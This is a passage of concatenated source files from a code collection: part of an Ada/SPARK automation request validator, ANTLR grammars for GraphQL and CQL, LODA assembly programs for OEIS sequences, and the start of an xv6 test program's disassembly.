K)))))); declare Id : constant Int64 := Get (Entity_Ids, I); IsReadyLocal : Boolean := False; begin if Contains (States, Id) then IsReadyLocal := True; end if; if not IsReadyLocal then for I in 1 .. Last (Planning_States) loop declare planningStateId : constant Int64 := Get (Planning_States, I).EntityID; begin if planningStateId = Id then pragma Assert (for some Planning_State of Planning_States => Planning_State.EntityID = Id); IsReadyLocal := True; exit; end if; end; pragma Loop_Invariant (for all K in 1 .. I => Get (Planning_States, K).EntityID /= Id); end loop; end if; if not IsReadyLocal then IsReady := False; Append_To_Msg (Msg => ReasonForFailure, Tail => "- EntityState for Entity Id[" & Int64'Image (Id) & "] not available."); end if; end; end loop; else Append_To_Msg (Msg => ReasonForFailure, Tail => "- No EntityStates available."); IsReady := False; pragma Assert (not Check_For_Required_Entity_Configurations (Entity_Ids => Entity_Ids, Configurations => Configurations, States => States, Planning_States => Planning_States)); end if; else -- if(!uniqueAutomationRequest->getOriginalRequest()->getEntityList().empty()) pragma Assert (Length (Entity_Ids) = 0); if not Is_Empty (Configurations) and then not Is_Empty (States) then declare IsFoundAMatch : constant Boolean := (for some Id1 of Configurations => (for some Id2 of States => Id1 = Id2)); begin if not IsFoundAMatch then Append_To_Msg (Msg => ReasonForFailure, Tail => "- No EntityStates that match EntityConfigurations" & " are available."); IsReady := False; end if; end; else if Is_Empty (Configurations) then Append_To_Msg (Msg => ReasonForFailure, Tail => "- No EntityConfigurations available."); else Append_To_Msg (Msg => ReasonForFailure, Tail => "- No EntityStates available."); end if; IsReady := False; end if; end if; end Check_Required_Entity_Configurations; -------------------------------------------------------------- -- Check_Required_Operating_Region_And_Keepin_Keepout_Zones -- -------------------------------------------------------------- procedure Check_Required_Operating_Region_And_Keepin_Keepout_Zones (Operating_Region : Int64; Operating_Regions : Operating_Region_Map; KeepIn_Zones_Ids : Int64_Set; KeepOut_Zones_Ids : Int64_Set; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) is begin if Operating_Region /= 0 then if Has_Key (Operating_Regions, Operating_Region) then declare ItOperatingRegion : constant OperatingRegionAreas := Get (Operating_Regions, Operating_Region); KeepInAreas : constant Int64_Seq := ItOperatingRegion.KeepInAreas; KeepOutAreas : constant Int64_Seq := ItOperatingRegion.KeepOutAreas; begin for I in 1 .. Last (KeepInAreas) loop declare KeepInArea : constant Int64 := Get (KeepInAreas, I); begin if not Contains (KeepIn_Zones_Ids, KeepInArea) then Append_To_Msg (Msg => ReasonForFailure, Tail => "- KeepInArea Id[" & Int64'Image (KeepInArea) & "] not available."); IsReady := False; end if; pragma Loop_Invariant (IsReady = (IsReady'Loop_Entry and then (for all K in 1 .. I => Contains (KeepIn_Zones_Ids, Get (KeepInAreas, K))))); end; end loop; for I in 1 .. Last (KeepOutAreas) loop declare KeepOutArea : constant Int64 := Get (KeepOutAreas, I); begin if not Contains (KeepOut_Zones_Ids, KeepOutArea) then Append_To_Msg (Msg => ReasonForFailure, Tail => "- KeepOutArea Id[" & Int64'Image (KeepOutArea) & "] not available."); IsReady := False; end if; pragma Loop_Invariant (IsReady = (IsReady'Loop_Entry and then (for all K in 1 .. I => Contains (KeepOut_Zones_Ids, Get (KeepOutAreas, K))))); end; end loop; end; else Append_To_Msg (Msg => ReasonForFailure, Tail => "- OperatingRegion Id[" & Int64'Image (Operating_Region) & "] not available."); IsReady := False; end if; end if; end Check_Required_Operating_Region_And_Keepin_Keepout_Zones; ------------------------------------------------ -- Check_Required_Tasks_And_Task_Requirements -- ------------------------------------------------ procedure Check_Required_Tasks_And_Task_Requirements (Available_Tasks : Task_Map; Available_Area_of_Interest_Ids : Int64_Set; Available_Line_of_Interest_Ids : Int64_Set; Available_Point_of_Interest_Ids : Int64_Set; TaskIds : Int64_Seq; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) is begin for I in 1 .. Last (TaskIds) loop pragma Loop_Invariant (IsReady = (IsReady'Loop_Entry and then (for all K in 1 .. I - 1 => Has_Key (Available_Tasks, Get (TaskIds, K)) and then Check_For_Specific_Task_Requirements (Available_Area_of_Interest_Ids => Available_Area_of_Interest_Ids, Available_Line_of_Interest_Ids => Available_Line_of_Interest_Ids, Available_Point_of_Interest_Ids => Available_Point_of_Interest_Ids, ItTask => Get (Available_Tasks, Get (TaskIds, K)))))); declare TaskId : constant Int64 := Get (TaskIds, I); IsReadyPrev : constant Boolean := IsReady with Ghost; pragma Unreferenced (IsReadyPrev); begin if Has_Key (Available_Tasks, TaskId) then declare ItTask : constant Task_Kind_And_Id := Get (Available_Tasks, TaskId); begin -- check for specific task requirements if ItTask.Kind = Angled_Area_Search_Task then if ItTask.SearchAreaID /= 0 then if not Contains (Available_Area_of_Interest_Ids, ItTask.SearchAreaID) then Append_To_Msg (Msg => ReasonForFailure, Tail => "- AreaOfInterest Id[" & Int64'Image (ItTask.SearchAreaID) & "] not available."); IsReady := False; end if; end if; elsif ItTask.Kind = Impact_Line_Search_Task then if ItTask.LineID /= 0 then if not Contains (Available_Line_of_Interest_Ids, ItTask.LineID) then Append_To_Msg (Msg => ReasonForFailure, Tail => "- LineOfInterest Id[" & Int64'Image (ItTask.LineID) & "] not available."); IsReady := False; end if; end if; elsif ItTask.Kind = Impact_Point_Search_Task then if ItTask.SearchLocationID /= 0 then if not Contains (Available_Point_of_Interest_Ids, ItTask.SearchLocationID) then Append_To_Msg (Msg => ReasonForFailure, -- Point of interest ?? Tail => "- LineOfInterest Id[" & Int64'Image (ItTask.SearchLocationID) & "] not available."); IsReady := False; end if; end if; end if; end; else pragma Assert (not Has_Key (Available_Tasks, TaskId)); Append_To_Msg (Msg => ReasonForFailure, Tail => "- Task with the Id[" & Int64'Image (TaskId) & "] is unknown. Ensure task description preceeds automation request."); IsReady := False; end if; end; end loop; end Check_Required_Tasks_And_Task_Requirements; ----------------------------- -- Check_Tasks_Initialized -- ----------------------------- procedure Check_Tasks_Initialized (Config : Automation_Request_Validator_Configuration_Data; State : in out Automation_Request_Validator_State; Mailbox : in out Automation_Request_Validator_Mailbox) with SPARK_Mode => Off is areAllTasksReady : Boolean := True; isNewPendingRequest : Boolean := False; begin while areAllTasksReady and then Length (State.Requests_Waiting_For_Tasks) > 0 loop declare Req : constant UniqueAutomationRequest := First_Element (State.Requests_Waiting_For_Tasks); begin areAllTasksReady := (for all TaskId of Req.TaskList => Contains (Config.Available_Initialized_Tasks, TaskId)); if areAllTasksReady then isNewPendingRequest := True; Append (State.Pending_Requests, Req); Delete_First (State.Requests_Waiting_For_Tasks); end if; end; end loop; if isNewPendingRequest then Send_Next_Request (Mailbox, State.Pending_Requests); end if; end Check_Tasks_Initialized; --------------------------- -- Get_Unique_Request_Id -- --------------------------- procedure Get_Unique_Request_Id (Val : out Int64) is Id : AVTAS.LMCP.Types.Int64; begin Get_Unique_Entity_Send_Message_Id (Id); Val := Int64 (Id); end Get_Unique_Request_Id; ------------------------------- -- Handle_Automation_Request -- ------------------------------- procedure Handle_Automation_Request (Config : Automation_Request_Validator_Configuration_Data; State : in out Automation_Request_Validator_State; Mailbox : in out Automation_Request_Validator_Mailbox; Request : AutomationRequest) with SPARK_Mode => Off is Unique_Automation_Request : UniqueAutomationRequest; ReqId : Int64; Details : Request_Details; isReady : Boolean; begin Get_Unique_Request_Id (ReqId); Unique_Automation_Request.RequestID := ReqId; Unique_Automation_Request.EntityList := Request.EntityList; Unique_Automation_Request.OperatingRegion := Request.OperatingRegion; Unique_Automation_Request.TaskList := Request.TaskList; Unique_Automation_Request.TaskRelationships := Request.TaskRelationships; Insert (State.Sandbox, ReqId, Details); Check_Automation_Request_Requirements (Config, State.Sandbox, Mailbox, Unique_Automation_Request, isReady); if isReady then Append (State.Requests_Waiting_For_Tasks, Unique_Automation_Request); Check_Tasks_Initialized (Config, State, Mailbox); end if; end Handle_Automation_Request; -------------------------------- -- Handle_Automation_Response -- -------------------------------- procedure Handle_Automation_Response (State : in out Automation_Request_Validator_State; Mailbox : in out Automation_Request_Validator_Mailbox; Response : UniqueAutomationResponse) with SPARK_Mode => Off is begin if Length (State.Pending_Requests) = 0 then return; end if; declare First : constant UniqueAutomationRequest := First_Element (State.Pending_Requests); begin if First.RequestID = Response.ResponseID and then Contains (State.Sandbox, Response.ResponseID) then Send_Response (Mailbox, State.Sandbox, Response); Delete (State.Sandbox, Response.ResponseID); Delete_First (State.Pending_Requests); Send_Next_Request (Mailbox, State.Pending_Requests); end if; end; end Handle_Automation_Response; -------------------------------------- -- Handle_Impact_Automation_Request -- -------------------------------------- procedure Handle_Impact_Automation_Request (Config : Automation_Request_Validator_Configuration_Data; State : in out Automation_Request_Validator_State; Mailbox : in out Automation_Request_Validator_Mailbox; Request : ImpactAutomationRequest) with SPARK_Mode => Off is Unique_Automation_Request : UniqueAutomationRequest; ReqId : Int64; Details : Request_Details (Sandbox_Automation_Request); isReady : Boolean; begin ReqId := Request.RequestID; Unique_Automation_Request.RequestID := ReqId; Unique_Automation_Request.EntityList := Request.EntityList; Unique_Automation_Request.OperatingRegion := Request.OperatingRegion; Unique_Automation_Request.TaskList := Request.TaskList; Unique_Automation_Request.TaskRelationships := Request.TaskRelationships; Unique_Automation_Request.SandboxRequest := True; Details.Play_Id := Request.PlayID; Details.Soln_Id := Request.SolutionID; Insert (State.Sandbox, ReqId, Details); Check_Automation_Request_Requirements (Config, State.Sandbox, Mailbox, Unique_Automation_Request, isReady); if isReady then Append (State.Requests_Waiting_For_Tasks, Unique_Automation_Request); Check_Tasks_Initialized (Config, State, Mailbox); end if; end Handle_Impact_Automation_Request; ------------------------------------ -- Handle_Task_Automation_Request -- ------------------------------------ procedure Handle_Task_Automation_Request (Config : Automation_Request_Validator_Configuration_Data; State : in out Automation_Request_Validator_State; Mailbox : in out Automation_Request_Validator_Mailbox; Request : TaskAutomationRequest) with SPARK_Mode => Off is Unique_Automation_Request : UniqueAutomationRequest; ReqId : Int64; Details : Request_Details (Task_Automation_Request); isReady : Boolean; begin ReqId := Request.RequestID; Unique_Automation_Request.RequestID := ReqId; Unique_Automation_Request.EntityList := Request.EntityList; Unique_Automation_Request.OperatingRegion := Request.OperatingRegion; Unique_Automation_Request.TaskList := Request.TaskList; Unique_Automation_Request.TaskRelationships := Request.TaskRelationships; Unique_Automation_Request.SandboxRequest := Request.SandboxRequest; Unique_Automation_Request.PlanningStates := Request.PlanningStates; Details.Task_Request_Id := ReqId; Insert (State.Sandbox, ReqId, Details); Check_Automation_Request_Requirements (Config, State.Sandbox, Mailbox, Unique_Automation_Request, isReady); if isReady then Append (State.Requests_Waiting_For_Tasks, Unique_Automation_Request); Check_Tasks_Initialized (Config, State, Mailbox); end if; end Handle_Task_Automation_Request; ----------------------- -- Send_Next_Request -- ----------------------- procedure Send_Next_Request (Mailbox : in out Automation_Request_Validator_Mailbox; Pending_Requests : UniqueAutomationRequest_Ref_Deque) with SPARK_Mode => Off is begin if Length (Pending_Requests) = 0 then return; end if; declare Req : constant UniqueAutomationRequest := First_Element (Pending_Requests); Service_Status : ServiceStatus; KVP : KeyValuePair; begin sendBroadcastMessage (Mailbox, Req); KVP.Key := To_Unbounded_String ("UniqueAutomationRequest[" & Req.RequestID'Image & "] - sent"); Service_Status.Info := Add (Service_Status.Info, KVP); sendBroadcastMessage (Mailbox, Service_Status); end; end Send_Next_Request; ------------------- -- Send_Response -- ------------------- procedure Send_Response (Mailbox : in out Automation_Request_Validator_Mailbox; Sandbox : Request_Details_Map; Response : UniqueAutomationResponse) with SPARK_Mode => Off is begin if not Contains (Sandbox, Response.ResponseID) or else Element (Sandbox, Response.ResponseID).Request_Type = Automation_Request then declare Result : constant AutomationResponse := (Response.MissionCommandList, Response.VehicleCommandList, Response.Info); begin sendBroadcastMessage (Mailbox, Result); end; elsif Element (Sandbox, Response.ResponseID).Request_Type = Task_Automation_Request then declare Result : constant TaskAutomationResponse := (Response.MissionCommandList, Response.VehicleCommandList, Response.Info, Element (Sandbox, Response.ResponseID).Task_Request_Id, Response.FinalStates); begin sendBroadcastMessage (Mailbox, Result); end; elsif Element (Sandbox, Response.ResponseID).Request_Type = Sandbox_Automation_Request then declare Details : constant Request_Details := Element (Sandbox, Response.ResponseID); Result : constant ImpactAutomationResponse := (Response.MissionCommandList, Response.VehicleCommandList, Response.Info, Response.ResponseID, Details.Play_Id, Details.Soln_Id, True); begin sendBroadcastMessage (Mailbox, Result); end; end if; end Send_Response; end Automation_Request_Validator;
lib/resources/graphql.g4
guypeled76/petitparser_extras
0
3828
grammar Graphql; import GraphqlSDL, GraphqlOperation, GraphqlCommon; @header { package graphql.parser.antlr; } document : definition+; definition: operationDefinition | fragmentDefinition | typeSystemDefinition ;
cql/src/main/antlr4/com/datastax/oss/dsbulk/generated/cql3/Cql.g4
tarzanek/dsbulk
37
4381
/* * Copyright DataStax, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * This is a simplified ANTLR4 version of the full grammar extracted from Apache Cassandra (TM) version 3.11.1. */ grammar Cql; // PARSER /** STATEMENTS **/ cqlStatement : selectStatement | insertStatement | updateStatement | deleteStatement | batchStatement ; /** * SELECT <expression> * FROM <CF> * WHERE KEY = "key1" AND COL > 1 AND COL < 100 * LIMIT <NUMBER>; */ selectStatement : K_SELECT ( K_JSON )? ( ( K_DISTINCT )? selectClause ) K_FROM columnFamilyName ( K_WHERE whereClause )? ( K_GROUP K_BY groupByClause ( ',' groupByClause )* )? ( K_ORDER K_BY orderByClause ( ',' orderByClause )* )? ( perPartitionLimitClause )? ( limitClause )? ( K_ALLOW K_FILTERING )? ; selectClause : selector (',' selector)* | '*' ; selector : unaliasedSelector (K_AS noncolIdent)? ; /* * A single selection. The core of it is selecting a column, but we also allow any term and function, as well as * sub-element selection for UDT. */ unaliasedSelector : ( cident | value | '(' comparatorType ')' value | K_COUNT '(' '*' ')' | K_WRITETIME '(' cident ')' | K_TTL '(' cident ')' | K_CAST '(' unaliasedSelector K_AS nativeType ')' | functionName selectionFunctionArgs ) ( '.' fident )* ; selectionFunctionArgs : '(' ')' | '(' unaliasedSelector ( ',' unaliasedSelector )* ')' ; whereClause : relationOrExpression (K_AND relationOrExpression)* ; relationOrExpression : relation | customIndexExpression ; customIndexExpression : 'expr(' idxName ',' term ')' ; orderByClause : cident (K_ASC | K_DESC)? ; groupByClause : cident ; perPartitionLimitClause : K_PER K_PARTITION K_LIMIT intValue ; limitClause : K_LIMIT intValue ; /** * INSERT INTO <CF> (<column>, <column>, <column>, ...) * VALUES (<value>, <value>, <value>, ...) * USING TIMESTAMP <long>; * */ insertStatement : K_INSERT K_INTO columnFamilyName ( normalInsertStatement | K_JSON jsonInsertStatement) ; normalInsertStatement : '(' cident ( ',' cident )* ')' K_VALUES '(' term ( ',' term )* ')' ( K_IF K_NOT K_EXISTS )? ( usingClause )? ; jsonInsertStatement : jsonValue ( K_DEFAULT ( K_NULL | K_UNSET ) )? ( K_IF K_NOT K_EXISTS )? ( usingClause )? ; jsonValue : STRING_LITERAL | ':' noncolIdent | QMARK ; usingClause : K_USING usingClauseObjective ( K_AND usingClauseObjective )* ; usingClauseObjective : K_TIMESTAMP intValue | K_TTL intValue ; /** * UPDATE <CF> * USING TIMESTAMP <long> * SET name1 = value1, name2 = value2 * WHERE key = value; * [IF (EXISTS | name = value, ...)]; */ updateStatement : K_UPDATE columnFamilyName ( usingClause )? K_SET columnOperation (',' columnOperation)* K_WHERE whereClause ( K_IF ( K_EXISTS | updateConditions ))? ; updateConditions : columnCondition ( K_AND columnCondition )* ; /** * DELETE name1, name2 * FROM <CF> * USING TIMESTAMP <long> * WHERE KEY = keyname [IF (EXISTS | name = value, ...)]; */ deleteStatement : K_DELETE ( deleteSelection )? K_FROM columnFamilyName ( usingClauseDelete )? K_WHERE whereClause ( K_IF ( K_EXISTS | updateConditions ))? ; deleteSelection : deleteOp (',' deleteOp)* ; deleteOp : cident | cident '[' term ']' | cident '.' fident ; usingClauseDelete : K_USING K_TIMESTAMP intValue ; /** * BEGIN BATCH * UPDATE <CF> SET name1 = value1 WHERE KEY = keyname1; * UPDATE <CF> SET name2 = value2 WHERE KEY = keyname2; * UPDATE <CF> SET name3 = value3 WHERE KEY = keyname3; * ... * APPLY BATCH * * OR * * BEGIN BATCH * INSERT INTO <CF> (KEY, <name>) VALUES ('<key>', '<value>'); * INSERT INTO <CF> (KEY, <name>) VALUES ('<key>', '<value>'); * ... * APPLY BATCH * * OR * * BEGIN BATCH * DELETE name1, name2 FROM <CF> WHERE key = <key> * DELETE name3, name4 FROM <CF> WHERE key = <key> * ... * APPLY BATCH */ batchStatement : K_BEGIN ( K_UNLOGGED | K_COUNTER )? K_BATCH ( usingClause )? ( batchStatementObjective EOS? )* K_APPLY K_BATCH ; batchStatementObjective : insertStatement | updateStatement | deleteStatement ; /** DEFINITIONS **/ // Column Identifiers. These need to be treated differently from other // identifiers because the underlying comparator is not necessarily text. See // CASSANDRA-8178 for details. cident : IDENT | QUOTED_NAME | unreservedKeyword ; fident : IDENT | QUOTED_NAME | unreservedKeyword ; // Identifiers that do not refer to columns noncolIdent : IDENT | QUOTED_NAME | unreservedKeyword ; // Keyspace & Column family names keyspaceName : ksName ; columnFamilyName : (ksName '.')? cfName ; userTypeName : (noncolIdent '.')? nonTypeIdent ; ksName : IDENT | QUOTED_NAME | unreservedKeyword | QMARK ; cfName : IDENT | QUOTED_NAME | unreservedKeyword | QMARK ; idxName : IDENT | QUOTED_NAME | unreservedKeyword | QMARK ; constant : STRING_LITERAL | INTEGER | FLOAT | BOOLEAN | DURATION | UUID | HEXNUMBER | ('-' )? (K_NAN | K_INFINITY) ; setOrMapLiteral : ':' term ( ',' term ':' term )* | ( ',' term )* ; collectionLiteral : '[' ( term ( ',' term )* )? ']' | '{' term setOrMapLiteral '}' // Note that we have an ambiguity between maps and set for "{}". So we force it to a set literal, // and deal with it later based on the type of the column (SetLiteral.java). | '{' '}' ; usertypeLiteral // We don't allow empty literals because that conflicts with sets/maps and is currently useless since we don't allow empty user types : '{' fident ':' term ( ',' fident ':' term )* '}' ; tupleLiteral : '(' term ( ',' term )* ')' ; value : constant | collectionLiteral | usertypeLiteral | tupleLiteral | K_NULL | ':' noncolIdent | QMARK ; intValue : INTEGER | ':' noncolIdent | QMARK ; functionName : (keyspaceName '.')? allowedFunctionName ; allowedFunctionName : IDENT | QUOTED_NAME | unreservedFunctionKeyword | K_TOKEN | K_COUNT ; function : functionName '(' ')' | functionName '(' functionArgs ')' ; functionArgs : term ( ',' term )* ; term : value | function | '(' comparatorType ')' term ; columnOperation : cident columnOperationDifferentiator ; columnOperationDifferentiator : '=' normalColumnOperation | shorthandColumnOperation | '[' term ']' collectionColumnOperation | '.' fident udtColumnOperation ; normalColumnOperation : term ('+' cident )? | cident ('+' | '-') term | cident INTEGER ; shorthandColumnOperation : ('+=' | '-=') term ; collectionColumnOperation : '=' term ; udtColumnOperation : '=' term ; columnCondition // Note: we'll reject duplicates later : cident ( relationType term | K_IN ( singleColumnInValues | inMarker ) | '[' term ']' ( relationType term | K_IN ( singleColumnInValues | inMarker ) ) | '.' fident ( relationType term | K_IN ( singleColumnInValues | inMarker ) ) ) ; relationType : '=' | '<' | '<=' | '>' | '>=' | '!=' ; relation : cident relationType term | cident K_LIKE term | cident K_IS K_NOT K_NULL | K_TOKEN tupleOfIdentifiers relationType term | cident K_IN inMarker | cident K_IN singleColumnInValues | cident K_CONTAINS (K_KEY)? term | cident '[' term ']' relationType term | tupleOfIdentifiers ( K_IN ( '(' ')' | inMarkerForTuple /* (a, b, c) IN ? */ | tupleOfTupleLiterals /* (a, b, c) IN ((1, 2, 3), (4, 5, 6), ...) */ | tupleOfMarkersForTuples /* (a, b, c) IN (?, ?, ...) */ ) | relationType tupleLiteral /* (a, b, c) > (1, 2, 3) or (a, b, c) > (?, ?, ?) */ | relationType markerForTuple /* (a, b, c) >= ? */ ) | '(' relation ')' ; inMarker : QMARK | ':' noncolIdent ; tupleOfIdentifiers : '(' cident (',' cident)* ')' ; singleColumnInValues : '(' ( term (',' term)* )? ')' ; tupleOfTupleLiterals : '(' tupleLiteral (',' tupleLiteral)* ')' ; markerForTuple : QMARK | ':' noncolIdent ; tupleOfMarkersForTuples : '(' markerForTuple (',' markerForTuple)* ')' ; inMarkerForTuple : QMARK | ':' noncolIdent ; comparatorType : nativeType | collectionType | tupleType | userTypeName | K_FROZEN '<' comparatorType '>' ; nativeType : K_ASCII | K_BIGINT | K_BLOB | K_BOOLEAN | K_COUNTER | K_DECIMAL | K_DOUBLE | K_DURATION | K_FLOAT | K_INET | K_INT | K_SMALLINT | K_TEXT | K_TIMESTAMP | K_TINYINT | K_UUID | K_VARCHAR | K_VARINT | K_TIMEUUID | K_DATE | K_TIME ; collectionType : K_MAP '<' comparatorType ',' comparatorType '>' | K_LIST '<' comparatorType '>' | K_SET '<' comparatorType '>' ; tupleType : K_TUPLE '<' comparatorType (',' comparatorType)* '>' ; // Basically the same as cident, but we need to exlude existing CQL3 types // (which for some reason are not reserved otherwise) nonTypeIdent : IDENT | QUOTED_NAME | basicUnreservedKeyword | K_KEY ; unreservedKeyword : unreservedFunctionKeyword | (K_TTL | K_COUNT | K_WRITETIME | K_KEY | K_CAST | K_JSON | K_DISTINCT) ; unreservedFunctionKeyword : basicUnreservedKeyword | nativeType ; basicUnreservedKeyword : ( K_AS | K_CLUSTERING | K_TYPE | K_VALUES | K_MAP | K_LIST | K_FILTERING | K_EXISTS | K_CONTAINS | K_FROZEN | K_TUPLE | K_LIKE | K_PER | K_PARTITION | K_GROUP ) ; // LEXER // Case-insensitive keywords K_SELECT: S E L E C T; K_FROM: F R O M; K_AS: A S; K_WHERE: W H E R E; K_AND: A N D; K_KEY: K E Y; K_INSERT: I N S E R T; K_UPDATE: U P D A T E; K_LIMIT: L I M I T; K_PER: P E R; K_PARTITION: P A R T I T I O N; K_USING: U S I N G; K_DISTINCT: D I S T I N C T; K_COUNT: C O U N T; K_SET: S E T; K_BEGIN: B E G I N; K_UNLOGGED: U N L O G G E D; K_BATCH: B A T C H; K_APPLY: A P P L Y; K_DELETE: D E L E T E; K_IN: I N; K_INTO: I N T O; K_VALUES: V A L U E S; K_TIMESTAMP: T I M E S T A M P; K_TTL: T T L; K_CAST: C A S T; K_TYPE: T Y P E; K_ORDER: O R D E R; K_BY: B Y; K_ASC: A S C; K_DESC: D E S C; K_ALLOW: A L L O W; K_FILTERING: F I L T E R I N G; K_IF: I F; K_IS: I S; K_CONTAINS: C O N T A I N S; K_GROUP: G R O U P; K_CLUSTERING: C L U S T E R I N G; K_ASCII: A S C I I; K_BIGINT: B I G I N T; K_BLOB: B L O B; K_BOOLEAN: B O O L E A N; K_COUNTER: C O U N T E R; K_DECIMAL: D E C I M A L; K_DOUBLE: D O U B L E; K_DURATION: D U R A T I O N; K_FLOAT: F L O A T; K_INET: I N E T; K_INT: I N T; K_SMALLINT: S M A L L I N T; K_TINYINT: T I N Y I N T; K_TEXT: T E X T; K_UUID: U U I D; K_VARCHAR: V A R C H A R; K_VARINT: V A R I N T; K_TIMEUUID: T I M E U U I D; K_TOKEN: T O K E N; K_WRITETIME: W R I T E T I M E; K_DATE: D A T E; K_TIME: T I M E; K_NULL: N U L L; K_NOT: N O T; K_EXISTS: E X I S T S; K_MAP: M A P; K_LIST: L I S T; K_NAN: N A N; K_INFINITY: I N F I N I T Y; K_TUPLE: T U P L E; K_FROZEN: F R O Z E N; K_JSON: J S O N; K_DEFAULT: D E F A U L T; K_UNSET: U N S E T; K_LIKE: L I K E; // Case-insensitive alpha characters fragment A: ('a'|'A'); fragment B: ('b'|'B'); fragment C: ('c'|'C'); fragment D: ('d'|'D'); fragment E: ('e'|'E'); fragment F: ('f'|'F'); fragment G: ('g'|'G'); fragment H: ('h'|'H'); fragment I: ('i'|'I'); fragment J: ('j'|'J'); fragment K: ('k'|'K'); fragment L: ('l'|'L'); fragment M: ('m'|'M'); fragment N: ('n'|'N'); fragment O: ('o'|'O'); fragment P: ('p'|'P'); fragment Q: ('q'|'Q'); fragment R: ('r'|'R'); fragment S: ('s'|'S'); fragment T: ('t'|'T'); fragment U: ('u'|'U'); fragment V: ('v'|'V'); fragment W: ('w'|'W'); fragment X: ('x'|'X'); fragment Y: ('y'|'Y'); fragment Z: ('z'|'Z'); STRING_LITERAL : /* pg-style string literal */ '$' '$' ( ~'$' | '$' ~'$' )* '$' '$' | /* conventional quoted string literal */ '\'' ( ~'\'' | '\'' '\'' )* '\'' ; QUOTED_NAME : '"' ( ~'"' | '"' '"' )+ '"' ; EMPTY_QUOTED_NAME : '"' '"' ; fragment DIGIT : '0'..'9' ; fragment LETTER : ('A'..'Z' | 'a'..'z') ; fragment HEX : ('A'..'F' | 'a'..'f' | '0'..'9') ; fragment EXPONENT : E ('+' | '-')? DIGIT+ ; fragment DURATION_UNIT : Y | M O | W | D | H | M | S | M S | U S | '\u00B5' S | N S ; INTEGER : '-'? DIGIT+ ; QMARK : '?' ; FLOAT : INTEGER EXPONENT | INTEGER '.' DIGIT* EXPONENT? ; /* * This has to be before IDENT so it takes precendence over it. */ BOOLEAN : T R U E | F A L S E ; DURATION : '-'? DIGIT+ DURATION_UNIT (DIGIT+ DURATION_UNIT)* | '-'? 'P' (DIGIT+ 'Y')? (DIGIT+ 'M')? (DIGIT+ 'D')? ('T' (DIGIT+ 'H')? (DIGIT+ 'M')? (DIGIT+ 'S')?)? // ISO 8601 "format with designators" | '-'? 'P' DIGIT+ 'W' | '-'? 'P' DIGIT DIGIT DIGIT DIGIT '-' DIGIT DIGIT '-' DIGIT DIGIT 'T' DIGIT DIGIT ':' DIGIT DIGIT ':' DIGIT DIGIT // ISO 8601 "alternative format" ; IDENT : LETTER (LETTER | DIGIT | '_')* ; HEXNUMBER : '0' X HEX* ; UUID : HEX HEX HEX HEX HEX HEX HEX HEX '-' HEX HEX HEX HEX '-' HEX HEX HEX HEX '-' HEX HEX HEX HEX '-' HEX HEX HEX HEX HEX HEX HEX HEX HEX HEX HEX HEX ; WS : (' ' | '\t' | '\n' | '\r')+ -> channel(HIDDEN) ; COMMENT : ('--' | '//') .*? ('\n'|'\r') -> channel(HIDDEN) ; MULTILINE_COMMENT : '/*' .*? '*/' -> channel(HIDDEN) ; // End of statement EOS : ';' ;
oeis/022/A022313.asm
neoneye/loda-programs
11
167980
; A022313: a(n) = a(n-1) + a(n-2) + 1, with a(0) = 0 and a(1) = 8. ; Submitted by <NAME>(s4) ; 0,8,9,18,28,47,76,124,201,326,528,855,1384,2240,3625,5866,9492,15359,24852,40212,65065,105278,170344,275623,445968,721592,1167561,1889154,3056716,4945871,8002588,12948460,20951049,33899510,54850560,88750071,143600632,232350704,375951337,608302042,984253380,1592555423,2576808804,4169364228,6746173033,10915537262,17661710296,28577247559,46238957856,74816205416,121055163273,195871368690,316926531964,512797900655,829724432620,1342522333276,2172246765897,3514769099174,5687015865072,9201784964247 mov $1,1 mov $2,8 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe mov $0,$1 sub $0,1
oeis/061/A061085.asm
neoneye/loda-programs
11
10309
<gh_stars>10-100 ; A061085: a(n) = A019550(n) / 3. ; Submitted by <NAME>(s2) ; 4,8,12,16,170,204,238,272,306,340,374,408,442,476,510,544,578,612,646,680,714,748,782,816,850,884,918,952,986,1020,1054,1088,1122,1156,1190,1224,1258,1292,1326,1360,1394,1428,1462,1496,1530,1564,1598,1632,1666 mov $2,$0 add $0,1 mov $1,$0 lpb $1 mul $0,16 mov $1,4 lpe add $0,1 add $0,$2 mul $0,2
oeis/072/A072650.asm
neoneye/loda-programs
11
11177
<reponame>neoneye/loda-programs ; A072650: Starting from the right (the least significant end) rewrite 0 to 0 and x1 to 1 in the binary expansion of n. ; Submitted by <NAME> ; 0,1,2,1,4,3,2,3,8,5,6,5,4,3,6,3,16,9,10,9,12,7,10,7,8,5,6,5,12,7,6,7,32,17,18,17,20,11,18,11,24,13,14,13,20,11,14,11,16,9,10,9,12,7,10,7,24,13,14,13,12,7,14,7,64,33,34,33,36,19,34,19,40,21,22,21,36,19,22,19 mov $1,1 lpb $0 lpb $0 dif $0,2 mul $1,2 lpe div $0,4 add $2,$1 mul $1,2 lpe mov $0,$2
Lab Quiz 4/160050064-labquiz4/xv6/test1.asm
vamsi3/IITB-Operating-Systems
6
12764
_test1: file format elf32-i386 Disassembly of section .text: 00000000 <main>: } } int main() { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 56 push %esi e: 53 push %ebx f: 51 push %ecx 10: 83 ec 1c sub $0x1c,%esp int result2; int result3; int pid; int pids[NWORKERS]; init_taskmaster(); 13: e8 ba 04 00 00 call 4d2 <init_taskmaster> // Creating N worker threads for(int i=0; i<NWORKERS; i++) { pid = fork(); 18: e8 0d 04 00 00 call 42a <fork> if(pid == 0) 1d: 85 c0 test %eax,%eax 1f: 0f 84 ad 00 00 00 je d2 <main+0xd2> 25: 89 c3 mov %eax,%ebx init_taskmaster(); // Creating N worker threads for(int i=0; i<NWORKERS; i++) { pid = fork(); 27: e8 fe 03 00 00 call 42a <fork> if(pid == 0) 2c: 85 c0 test %eax,%eax init_taskmaster(); // Creating N worker threads for(int i=0; i<NWORKERS; i++) { pid = fork(); 2e: 89 c6 mov %eax,%esi if(pid == 0) 30: 0f 84 9c 00 00 00 je 